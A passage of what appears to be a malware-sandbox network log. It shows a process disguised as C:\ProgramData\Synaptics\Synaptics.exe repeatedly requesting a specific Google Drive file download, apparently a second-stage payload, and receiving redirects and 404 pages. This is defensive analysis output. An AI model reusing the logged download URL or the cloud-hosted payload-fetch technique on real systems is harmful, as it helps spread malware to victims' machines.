2025-01-02 19:20:55 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:55 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 6f 54 54 47 69 47 61 37 31 39 67 4d 64 71 4b 51 6c 66 59 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FoTTGiGa719gMdqKQlfYYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:55 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	49917	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:56 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	49918	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:56 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	49919	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:56 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	49920	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:56 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:57 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6M-CF8bCzHunkph1TgCh5oKYL62j4lmKEyAMxTt4Kpy6RwF7s5pJbsmuyHoNUPJ3nFLVxjIRY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:56 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-a-31O2lBP96LH_ObVtb7fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:57 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:57 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 73 59 75 76 55 6c 4d 47 5f 49 6c 37 6e 57 38 6b 69 58 4c 78 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="wsYuvUlMG_Il7nW8kiXLxw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:57 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	49921	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:57 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-OFWkEI8V1T02F6bUmJ4TLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	49922	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:57 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-j4qQxSnXNpiepnkhi3bGFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	49925	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:58 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5XfxguZIKqSovn42bQuZDfCX8Vk1UFkMTgN7soeXRIMTUmC34_0CogcPFeCY3aSK2Z Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:58 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wkbnIXyyqOFbFuIcyChTLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 52 44 61 42 6a 6c 47 30 65 75 5a 70 72 72 37 6b 76 52 4e 78 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="hRDaBjlG0euZprr7kvRNxA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	49924	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:58 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-p_fDqk1a2JLaW6qd4_vmVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	49926	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:58 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Jj5IBWFjlq-VQNPgr7054A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	49927	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:58 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC77YrxA1Tp717357easuwl2--dFOn1ltAzm_ME-9n-syeoQQ55o8lfc2IS5Y7fBdJHD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:58 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xNES0rONCCMzWvMhE9Ze-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 6e 35 55 46 4e 57 64 4a 55 72 70 68 75 49 71 34 39 55 31 45 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="kn5UFNWdJUrphuIq49U1Ew">*{margin:0;padding:0}html,code{font:15px/22px 